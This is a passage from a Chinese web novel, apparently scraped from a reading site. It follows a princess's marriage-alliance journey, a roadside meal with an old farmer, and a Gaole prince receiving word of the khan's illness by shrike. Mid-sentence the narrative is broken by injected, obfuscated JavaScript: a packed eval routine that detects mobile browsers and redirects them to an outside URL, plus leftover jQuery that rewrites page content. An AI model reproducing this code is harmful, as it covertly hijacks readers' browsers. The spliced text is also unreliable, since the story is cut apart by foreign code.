“我倒是不怎么喜欢,不过许多景国人都喜欢吃,很多点心里面会有。而且松子富含油脂,是补身子的好食材。” “那下一次伐树的时候,公主多吃些松子,冬季之前得多补充一些油水才行。”乌恩其干巴巴地回话道。 或许是放松下来了,穆云听着高勒的生活,竟然还听出一些有趣来。 她出身武将世家,母族又是富甲一方的商贾,从小到大就没离开过大人的保护圈,虽说安全,却也失了一分自在。 听着乌恩其在夜色中跑马,在蓝天白云下牧羊的故事,穆云竟觉得,这般无拘无束的日子也另有一番趣味。 话匣子一打开,两人越发投机,一直聊到了日上中天之时还未停歇。 …… 又到了中途休整的时候,赶路辛苦,若还是同平日里一般一日两餐,大伙儿是受不了的,更别提公主金贵之身,平日里都是一日三餐,更饿不得肚子,所以赶路期间,午时都得生火。 依旧是生火造饭的流程,还好官道都近水,打水做饭也方便。 不过同上一次不一样的是,这次停下的地方靠近农田,正是夏日里,有人正在田间刈麦,近水的田地,大都用来种粮食。 看见了这么多官爷,那刈麦的农户手足无措,忙过来作揖行礼。 “老人家,你为何一个人在此劳作?家里没有壮年孩子吗?难不成是都打仗去了?” 穆云蹙着眉,上前搭话。 莫不是底下的征兵之人瞒上欺下,违背律令,征了老人家的独子? “不是,只家里的老大去打仗了,孩子没福气,死在了北狄人的手上,去年有官爷送来了孩子的家书和一笔银钱,都已经伤心过了。我家里还有一儿一女两个小的,在屋里用连枷打麦,午时的日头太晒了,便没让他们出来。”老人家擦了擦脸上的汗,回话道。 “老人家,此次我们赶路借贵地生火做饭,若是你不嫌弃,就在我们锅里对付两口罢。” 定远伯武将出身,听见老伯的一番话,心中早已暗自垂泪,连忙招呼老人家用饭。 寻常百姓多是一日两餐,这位老伯想来也是如此,要一直劳作到申时才会用饭。 老人家自然是万般推辞,奈何定远伯太过热情,终究还是和将士们坐在了一起。 见老人家去了将士们那边,穆云才回到马车内。 定远伯先取了张杂粮面饼给老人家垫垫肚子,问道:“家里的孩子多大了?” “女娃十三了,男娃刚满十岁,能干一些活儿了。”老人家笑吟吟地回话。 “家里的小辈慢慢立起来了,老人家以后尽可享福喽。”有将士打趣道。 “官爷说笑了,只希望往后多太平几年,外头不要打仗,咱们才能过几天安生日子。”老人家一边憧憬,一边念叨。 “哦……这,这几位……”这时候,老人家看见了乌恩其几人,一时间磕巴了起来。 乌恩其几人显然不是汉人,老人家的眼光在将士们之间打转,神色中满是怀疑,仿佛下一刻就要跑去报官。 15. 第十五章 “这几位是高勒的使臣,如今景国同高勒交好,去岁又重创了北狄,边关总算会太平几年了,老人家只管安心罢。”定远伯笑着介绍。 老人家这才舒了一口气,又想起了什么,道:“之前我去镇上请石匠打磨盘的时候听官爷念过告示,说公主要去高勒和亲,难不成各位官爷便是护送公主去和亲的?哎呀,刚才同我搭话的,莫不是公主殿下罢?” “正是,公主义举,合该传遍天下才是。”定远伯朝着穆云的车驾拱了拱手,笑着称赞。 “竟真是公主?我也算是见着公主殿下了!我去打石磨的时候,那石匠还同我念叨公主呢。公主接管桑蚕之事后,还提拔了不少工匠,听说有人改进了铸铁之法,锤子錾子之类的器具更加便宜耐用了,连石磨的价格都跟着降了不少,咱们村这才能请石匠打磨盘,以后磨面就方便多了。” 那老伯显然是十分感怀,朝着公主的车驾作了好几个揖。 “那些匠人选自民间,自然会行利民之事。”定远伯笑着说道。 “公主可是做了不少好事,去年覆灭蝗灾,领头的也是公主,咱们都晓得。可惜如此爱民如子的公主,却要去高勒和亲……” 老伯脸上闪过一丝怅然,朝廷里贵族当道,没了公主,谁还会将市井小民的生计放在眼里呢? 看着老伯脸上的遗憾,乌恩其拧了拧眉,从马车上跳下来,朝着老伯走去。 人高马大的高勒台吉径直走来,气势逼人,让老伯忍不住打了一个哆嗦,直往宁远伯的身后躲。 然而下一刻,想象中的斥责声却并未响起。 “高勒是个好地方,我保证一定会照看好公主。且依我所见,公主有如此才干,在高勒也能大施拳脚,惠及两国万民。” 别说老伯,就连宁远伯听了这话,脸上也闪过了一丝意外。 这高勒的四台吉,瞧着这般勇武,像是个莽夫,没想到竟会说景国话,还如此通情理? 或许是两人面上的诧异过于明显,乌恩其气笑了:“怎么?两位都不信?看来自诩兼爱的中原人,对我高勒的偏见还不少啊?” “倒是吾狭隘了,有了四台吉此言,圣人也能放心多了,希望台吉能遵守诺言,必要时能帮公主一把。”宁远伯拱了拱手,笑道。 “公主有如此大才,我也十分钦佩,自然会照顾好公主。”乌恩其回道。 宁远伯和乌恩其聊得有来有回,老人家却插不进去话,也不敢打断两人的话头,只能缩在宁远伯的身后,心有余悸。 还好下一刻便有旁人开口,解了他的窘境。 “伯爷,饭做好了,让老人家早些用饭吧。”一个侍卫笑着过来招呼道。 驿馆和云家的商行不仅补充了许多菜蔬,还补充了好些禽蛋和肥鸡,是以今日的饭菜格外丰盛一些,大伙儿都能分得一碗鸡汤。 虽说鸡汤熬煮时间不久,但油水却是实打实的,吸溜进肚腹里格外熨帖,赶路的辛苦顿时便一扫而光。 官爷们都吃得这么舒坦,更别提那位老伯了。 虽说主食只是杂粮饼子,没吃上精细的白面馍馍,但那一碗鸡汤就已经十足珍贵,毕竟寻常百姓只有大日子才会狠心杀了一只不下蛋的老鸡吃肉。 更别说官爷们照顾他这个老爷子,鸡汤里还多带了好几块精肉,比其他侍卫的饮食还好。 “老人家,再来点儿鸡蛋吧,用现刨的薤菜炒的,夹在饼子里面吃。” “这薤菜可是我找到的,足有一大片,我眼力不错吧?” “这鸡蛋里头还有我拾到的山雉蛋呢。” 侍卫们大都是农户出身,和老爷子的共同话题可多了,一扎堆儿,那话匣子就关不住了。 一时间,这一方天地都变得和谐美好起来。 乌恩其一行人用完了饭,心中满足,便去了大爷的地里溜达消食。 地里的麦子已经成熟了,金黄一片,上头挂满了饱满的麦穗。 大爷已经收获了一片,捆扎成一把一把的麦穗堆成了一座小小的山,收好麦子的地上,留下了整齐的麦苗茬子,一走进麦地,便能闻到麦茬子踏实又柔和的香气。 几人看着那一堆麦穗,都有些向往。 这可是正儿八经的粮食,能填饱肚子,能储存到冬日,能养活人的粮食。 丰收的景象实在令人心喜,就连乌恩其几人也忍不住嗅着熟透的麦秆香。 “中原的地真好,种出来的粮食这么饱满。”巴图忍不住艳羡道。 “中原是种惯了地的,把庄稼侍弄好才会丰收,如果同我们高勒一样,只管撒种子,恐怕也收不了这么多粮食。”阿日宾看着整整齐齐的小麦茬子,摇头道。 “方才我瞧见那老人家腰上别着的弯刀,似乎是专门用来割麦的,那刀刃竟也是铁铸的,看来这景国确实不可小觑,此番和亲,倒误打误撞成了一步好棋。”乌恩其蹲坐在地头,笑道。 “哈哈,只是不知咱们的大台吉日后会不会后悔?”阿日宾冷笑道。 乌恩其也笑了,从地头泥缝中捡出一粒带壳的麦粒,上头还有麦芒,应当是收割时落下来的。 乌恩其剥出了一粒麦仁儿,果然,这麦仁儿十分饱满,硬硬的,仿佛充满了力量。 “真好的粮食。若是高勒也能种出这般粮食,何愁养活不了人呢?”阿日宾瞅了一眼乌恩其手里的麦仁儿,感慨道。 “会有机会的……”乌恩其往和亲使团的方向望了一眼,心底生出一丝隐秘的期待。 和亲使团停留的时间不长,待午饭用完,宁远伯便同老人家告别,准备继续赶路了。 老人家将舍不得吃的鸡肉和鸡蛋裹进剩下的一张杂粮饼中揣进怀里,又深深作了个揖,笑着继续劳作去了。 填饱了肚子,刈麦也没这般辛苦了,老人家的脸上炸开了花,心中全是满足。 见老人家往地头走,乌恩其几人也明白是出发的时候了。 “走吧,跟上使团。”乌恩其将方才剥出的麦粒扔进嘴里,带着几人往使团的方向走去。 午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343787|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间日头大,乌恩其便依旧坐在公主的马车外面,就这两天,他居然把御马的本事学出师了,现下直接把御马人赶到了后头的马车上,自个儿给公主御马。 “台吉御马倒是有几分天赋,但要是让其他高勒人见了,恐怕得骂我不可,台吉身份贵重,怎能亲自给我御马?”穆云在车帘后,一边和白术对弈,一边调笑道。 “台吉御马有何不可?我听说御马也是君子六艺之一,御马分明是君子所为嘛,难不成公主以为,小王不是君子?”乌恩其虚握着缰绳,回道。 “既然如此,那就麻烦这位君子了!麻烦走快些,今晚若是赶不到下个驿馆,便只能露宿野外了。”穆云落下一子,分神催道。 乌恩其听了,自然要如公主的意,轻轻一抖缰绳,那几匹马儿便轻跑了起来,听话极了。 日头将一行人的身影越拉越长,吱呀吱呀的马车声和哒哒的马蹄声混在一起,热闹又和谐。 穿过了一片树林,乌恩其却似乎感受到了什么,抬头一看,刺眼的日光中,只看到了零星的几只鸟儿。 日光洒下,乌恩其手上的红玉扳指反射出漂亮的红光,有一只鸟儿猛然冲降下来,落在穆云的马车顶上,叫得格外欢快。 穆云掀开车帘,便看见乌恩其的红玉扳指旁边停了一只鸟儿。 小小的鸟儿前胸雪白,尾羽修长,脸上还有黑墨贯眼,漂亮极了。 乌恩其从鸟儿的足上取下一枚圆管,从中取出了一张卷起来的绢帛。 “这鸟儿倒是不常见,又不是鸽子,还能替台吉送信呢。” 穆云瞅着乌恩其慢悠悠展开绢帛,好奇极了,这高勒居然还有这般会送信的小鸟。 信鸽的训练可不简单,耗费颇多,每年折损的鸽子也不少,能用得起信鸽的家族并不多。 “这是伯劳鸟,可是吃肉的猛禽,哪是鸽子能比的?”乌恩其笑着将停着伯劳的手抬起,道:“公主可要仔细瞧瞧?” “比起这鸟儿,我倒是更想瞧瞧台吉手中的信件。”穆云伸出手来,那鸟儿竟也不怕人,直接跳到了穆云的手臂上。 穆云这才生出一丝心喜,唤白芨去取了新鲜的肉来,打算好好犒劳犒劳这奔波了许久的鸟儿。 “这信是高勒来的?这鸟儿怕是奔忙了许久吧?”穆云抚了抚小伯劳的脑袋,对手中的小东西愈发怜爱。 “是高勒的信件,大汗的病严重了。”乌恩其也没瞒着穆云,直说了这般重大的变故。 穆云抚摸伯劳的动作顿了顿,大汗的病居然严重了……也好,省的她们动手了。 “那台吉可要先行一步?使团里有上好的侍医,可与台吉同去。” “公主也担心父汗?”乌恩其抬头,盯着穆云的眼睛,轻声道。 那锐利的眼神刺地穆云目光一闪,“毕竟是我未来的夫君,我自然该关心一番,况且高勒的局势变动,对我景国边地也有影响。” 乌恩其笑了,“公主莫怕,我在高勒留了人,不会叫大台吉借机生事。”